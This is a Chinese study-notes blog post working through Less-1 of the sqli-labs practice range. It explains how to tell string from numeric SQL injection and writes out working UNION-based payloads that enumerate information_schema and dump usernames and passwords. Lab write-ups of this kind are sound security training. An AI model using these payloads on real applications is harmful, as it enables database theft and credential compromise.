当前位置: 首页 > article >正文

sqli-labs学习笔记

判断注入类型

(1)首先判断是否存在sql注入点
对id=1的参数修改为id=1',来判断是否存在sql注入点。因为通过加入',使后台的sql语句中单引号个数不匹配来导致sql语句报错。
如果不报错的话,也不一定是不存在sql注入点,也有可能是因为后端对'进行
了过滤。
(2)判断是什么注入类型
分为2种,为字符型注入和数字型注入。
1.使用id=1 and 1=1与id=1 and 1=2来判断数字型的注入。
如果后端是一个sql的查询语句,那么我们传入id参数后,后端的解析代码为:
select * from <表名> where id = x and 1=1,这里进行了与操作,因为1=1,所以最后的返回结果是正确的。
select * from <表名> where id = x and 1=2,这里也进行了与操作,但是最后1=2是错,所以与操作后,最后的结果是错,就会进行报错,从而验证是否为数字型注入。
再来看对于字符型注入来说:
select * from <表名> where id = 'x and 1=1',这里因为加上了单引号,所以对于后面的与操作就不再表示与操作,而是全部转换为字符串进行解析。
2.使用id=1' and '1'='1与id=1' and '1'='2来判断是否为字符型注入
一样的判断方法,如果后端是一个sql查询语句,我们传入前面对应的id参数后,后端的解析代码为:
select * from <表名> where id ='x' and '1'='1',这样我们传入的id参数是最后执行的sql语句语法正确,最后的判断结果为正从而正常执行返回正常结果。
select * from <表名> where id ='x' and '1'='2',这样判断后的结果为否,从而不能正常执行sql语句,最后爆出sql语法的错误。

下面通过sqli-labs靶场对sql注入漏洞进行练习。
#less-1
前面知道了大概的判断方法,我们先判断这关是sql注入的哪种类型。
输入id=1,
在这里插入图片描述
我们得到了一个正常的回显,下面我们输入id=1’,来判断是否存在sql注入的漏洞。
在这里插入图片描述
报了sql语法的错误,说明存在sql注入的漏洞,我们下面测试是什么类型的sql注入。
进行数字型的sql注入判断:
id=1 and 1=1
在这里插入图片描述
正常回显了。
再输入id =1 and 1=2
在这里插入图片描述
也是正常回显,要求我们输入带有数字值的id。
那下面尝试字符型的注入:
id=1’ and ‘1’ = '1

在这里插入图片描述
回显正常,那再试
id =1’ and ‘1’ = ‘2
在这里插入图片描述
没有回显了,确定是字符型的注入。
知道是字符型注入就继续判断字段数。
输入 id =1’ order by 3 --+
在这里插入图片描述
回显没有报错,再试着输入4来判断是否为4个字段数。
id=1’ order by 4–+
在这里插入图片描述
报错,所以字段数应该为3.
下面进行查看显示位:
id= -1’ union select 1,2,3–+
在这里插入图片描述
回显的字段为2,3。这里输入-1,是为了让后台查询中,因为sql中没有-1,所以执行联合查询的后面语句。
知道了回显位,我们进行爆数据库。
id=-1’ union select 1,database(),version() --+
在这里插入图片描述
回显出了对应的数据库名称与数据库版本。
然后对输出的security数据库进行报表。
id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
在这里插入图片描述
回显了对应的数据库下的表。
我们可以对users表中的字段名进行查询。
id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+
在这里插入图片描述
然后输出对应的字段名的数据。
id=-1’ union select 1,2,group_concat(id,username,password) from users --+
在这里插入图片描述
输出了对应的信息。

对源代码的分析

找到了对应的源代码,进行分析
在这里插入图片描述
对图片中后台sql查询的代码分析,可以看到这个闭合的方式单引号闭合。并且没有做其他的过滤,造成了sql注入。


http://www.kler.cn/a/594458.html

相关文章:

  • Redis哨兵模式-黑马学习笔记
  • 如何避免Bug跟踪系统混乱
  • 【分布式锁通关指南 08】源码剖析redisson可重入锁之释放及阻塞与非阻塞获取
  • 【保姆级】阿里云codeup配置Git的CI/CD步骤
  • 【软件工程】综合应用题
  • Apache SeaTunnel脚本升级及参数调优实战
  • 智能护栏报警系统提升高速公路安全
  • 无人机智能控制系统未来技术发展分析
  • Docker DockerFile和Django最佳实践
  • VSTO(C#)Excel开发11:自定义任务窗格与多个工作簿
  • uniapp中的路由、本地存储与网络请求
  • C# 获取Type对象的方式
  • 从设计到量产:MHO5000如何实现电源EMIEMC测试全流程自动化?
  • 奇瑞汽车智能化战略发布,开启“四大平权”新时代
  • Cool Request:可以统计任意方法耗时
  • Android AI ChatBot-v1.6.3-28-开心版[免登录使用GPT-4o和DeepSeek]
  • vue3中如何缓存路由组件
  • LiteratureReading:[2016] Enriching Word Vectors with Subword Information
  • 分布式 IO 模块:助力实现智慧仓储
  • 如何通过Odoo 18创建与配置服务器操作